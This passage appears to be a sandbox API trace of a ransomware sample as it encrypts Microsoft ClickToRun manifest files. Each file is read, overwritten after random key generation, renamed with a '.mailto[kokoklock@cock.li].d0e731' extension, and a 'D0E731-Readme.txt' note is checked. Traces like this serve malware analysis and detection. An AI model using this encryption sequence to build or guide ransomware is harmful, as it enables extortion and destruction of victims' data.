lpNumberOfBytesRead=0x181bfabc, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x181bfabc*=0x2b8a, lpOverlapped=0x0) returned 1 [0073.950] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x181bfa84 | out: lpNewFilePointer=0x0) returned 1 [0073.950] WriteFile (in: hFile=0x954, lpBuffer=0x34b6690*, nNumberOfBytesToWrite=0x2b8a, lpNumberOfBytesWritten=0x181bfab8, lpOverlapped=0x0 | out: lpBuffer=0x34b6690*, lpNumberOfBytesWritten=0x181bfab8*=0x2b8a, lpOverlapped=0x0) returned 1 [0073.950] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e5c8 [0073.950] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e320 [0073.950] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e320) returned 1 [0073.951] WriteFile (in: hFile=0x954, lpBuffer=0x341e5c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x181bfab4, lpOverlapped=0x0 | out: lpBuffer=0x341e5c8*, lpNumberOfBytesWritten=0x181bfab4*=0x20, lpOverlapped=0x0) returned 1 [0073.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5c8) returned 1 [0073.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6690) returned 1 [0073.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0073.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdaa8) returned 1 [0073.955] WriteFile (in: hFile=0x954, lpBuffer=0x341e140*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x181bfae0, lpOverlapped=0x0 | out: lpBuffer=0x341e140*, lpNumberOfBytesWritten=0x181bfae0*=0x8, lpOverlapped=0x0) returned 1 [0073.955] WriteFile (in: hFile=0x954, lpBuffer=0x181bfaf8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x181bfae0, lpOverlapped=0x0 | out: lpBuffer=0x181bfaf8*, lpNumberOfBytesWritten=0x181bfae0*=0x4, lpOverlapped=0x0) returned 1 [0073.955] WriteFile (in: hFile=0x954, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x181bfae0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x181bfae0*=0x4, lpOverlapped=0x0) returned 1 [0073.955] WriteFile (in: hFile=0x954, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x181bfae0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x181bfae0*=0x6c, lpOverlapped=0x0) returned 1 [0073.956] WriteFile (in: hFile=0x954, lpBuffer=0x341ee10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x181bfae0, lpOverlapped=0x0 | out: lpBuffer=0x341ee10*, lpNumberOfBytesWritten=0x181bfae0*=0x20, lpOverlapped=0x0) returned 1 [0073.956] WriteFile (in: hFile=0x954, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x181bfae0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x181bfae0*=0x4, lpOverlapped=0x0) returned 1 [0073.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee10) returned 1 [0073.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eff0) returned 1 [0073.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e140) returned 1 [0073.956] CloseHandle (hObject=0x954) returned 1 [0073.956] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12c) returned 0x3420328 [0073.956] wcscpy (in: _Dest=0x3420328, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" [0073.956] wcscat (in: _Dest=0x3420328, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0073.956] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.967] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3420328) returned 1 [0073.967] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0073.967] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0073.967] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.967] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.967] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0073.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0073.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5600) returned 1 [0073.967] RtlExitUserThread (Status=0x1) Thread: id = 617 os_tid = 0x6c0 [0073.732] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml")) returned 0x20 [0073.733] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0073.733] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960 [0073.733] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x1823f9bc | out: lpFileSize=0x1823f9bc*=94612) returned 1 [0073.733] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x17190, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.733] ReadFile (in: hFile=0x960, lpBuffer=0x1823f990, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1823f98c, lpOverlapped=0x0 | out: lpBuffer=0x1823f990*, lpNumberOfBytesRead=0x1823f98c*=0x4, lpOverlapped=0x0) returned 1 [0073.896] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.896] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0073.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e4b0 [0073.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e398 [0073.897] NtQuerySystemTime (in: CurrentTime=0x1823f968 | out: CurrentTime=0x1823f968*=132121176317846654) returned 0x0 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0xca3d8a5e [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0xe2e7b6ea [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x5b673e19 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0xff8caca0 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0xa2b16098 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0xa90e40fa [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0xe4657e7d [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0xb36d4d8 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x8eaa95ac [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x419ce3a3 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x8898907c [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x56f123ff [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x4864c24 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x67bf879d [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x3b8cab3 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0xa4696177 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x78fbb1f8 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x17970573 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0xd50bc72 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0xc7d0839e [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x84423252 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0xd31003b [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x4f9741bf [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x4c56fa04 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x557510e7 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x987dcd40 [0073.897] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0xe48e82c4 [0073.898] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0xc2238cb4 [0073.898] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x15bbf3b1 [0073.898] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0xea021fc0 [0073.898] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x5b7d04a2 [0073.898] RtlRandom (in: Seed=0x1823f974 | out: Seed=0x1823f974) returned 0x56e16de3 [0073.911] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.911] ReadFile (in: hFile=0x960, lpBuffer=0x55d0050, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1823f940, lpOverlapped=0x0 | out: lpBuffer=0x55d0050*, lpNumberOfBytesRead=0x1823f940*=0x4096, lpOverlapped=0x0) returned 1 [0073.988] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.988] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0073.988] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.988] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0073.988] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0073.988] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.988] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0073.988] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ede8 [0073.988] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ede8) returned 1 [0073.988] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.989] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0073.989] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1823f940, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1823f940*=0x4096, lpOverlapped=0x0) returned 1 [0073.989] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.989] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x17194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.989] WriteFile (in: hFile=0x960, lpBuffer=0x341ebb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1823f978, lpOverlapped=0x0 | out: lpBuffer=0x341ebb8*, lpNumberOfBytesWritten=0x1823f978*=0x20, lpOverlapped=0x0) returned 1 [0073.989] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0073.989] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d0050) returned 1 [0073.995] WriteFile (in: hFile=0x960, lpBuffer=0x341e1e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1823f98c, lpOverlapped=0x0 | out: lpBuffer=0x341e1e0*, lpNumberOfBytesWritten=0x1823f98c*=0x8, lpOverlapped=0x0) returned 1 [0073.995] WriteFile (in: hFile=0x960, lpBuffer=0x1823f9a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1823f98c, lpOverlapped=0x0 | out: lpBuffer=0x1823f9a4*, lpNumberOfBytesWritten=0x1823f98c*=0x4, lpOverlapped=0x0) returned 1 [0073.995] WriteFile (in: hFile=0x960, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1823f98c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1823f98c*=0x4, lpOverlapped=0x0) returned 1 [0074.001] WriteFile (in: hFile=0x960, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1823f98c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1823f98c*=0x6c, lpOverlapped=0x0) returned 1 [0074.001] WriteFile (in: hFile=0x960, lpBuffer=0x341e4b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1823f98c, lpOverlapped=0x0 | out: lpBuffer=0x341e4b0*, lpNumberOfBytesWritten=0x1823f98c*=0x20, lpOverlapped=0x0) returned 1 [0074.001] WriteFile (in: hFile=0x960, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1823f98c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1823f98c*=0x4, lpOverlapped=0x0) returned 1 [0074.001] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e4b0) returned 1 [0074.001] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3c0) returned 1 [0074.001] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e1e0) returned 1 [0074.001] CloseHandle (hObject=0x960) returned 1 [0074.001] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14a) returned 0x34207d8 [0074.002] wcscpy (in: _Dest=0x34207d8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" [0074.002] wcscat (in: _Dest=0x34207d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0074.002] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.002] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.003] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34207d8) returned 1 [0074.003] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0074.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0074.003] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.004] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.004] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.005] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0074.005] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c598) returned 1 [0074.005] RtlExitUserThread (Status=0x1) Thread: id = 618 os_tid = 0xfa4 [0073.735] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml")) returned 0x20 [0073.943] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0073.973] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x948 [0073.973] GetFileSizeEx (in: hFile=0x948, lpFileSize=0x182bfc4c | out: lpFileSize=0x182bfc4c*=96644) returned 1 [0073.973] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x17980, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.973] ReadFile (in: hFile=0x948, lpBuffer=0x182bfc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x182bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x182bfc20*, lpNumberOfBytesRead=0x182bfc1c*=0x4, lpOverlapped=0x0) returned 1 [0074.012] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.012] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0074.013] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ede8 [0074.013] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee10 [0074.013] NtQuerySystemTime (in: CurrentTime=0x182bfbf8 | out: CurrentTime=0x182bfbf8*=132121176319096287) returned 0x0 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0xca8d630d [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x7101c8dc [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x532c9f04 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0xb5177f68 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0xb14497e5 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0xd98df52c [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x55511757 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0xa87c0950 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0xf0f14c15 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x1ae26fd9 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0xcbf8a1d0 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x327881fd [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0xbf4c4268 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x8ca09c28 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x439fa70 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0xf355902a [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x94d0a807 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0xe9857183 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0xc16196ae [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x394c2209 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x2c3104b6 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0xa3a18e02 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x3bc8da7b [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x17a73810 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x72e413dc [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0xf2cba0e9 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x7a4ba0c5 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x7118bd58 [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x60fd520f [0074.013] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x182a5f25 [0074.014] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0x8799e1c4 [0074.014] RtlRandom (in: Seed=0x182bfc04 | out: Seed=0x182bfc04) returned 0xe9e3f86b [0074.026] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.026] ReadFile (in: hFile=0x948, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x182bfbd0, 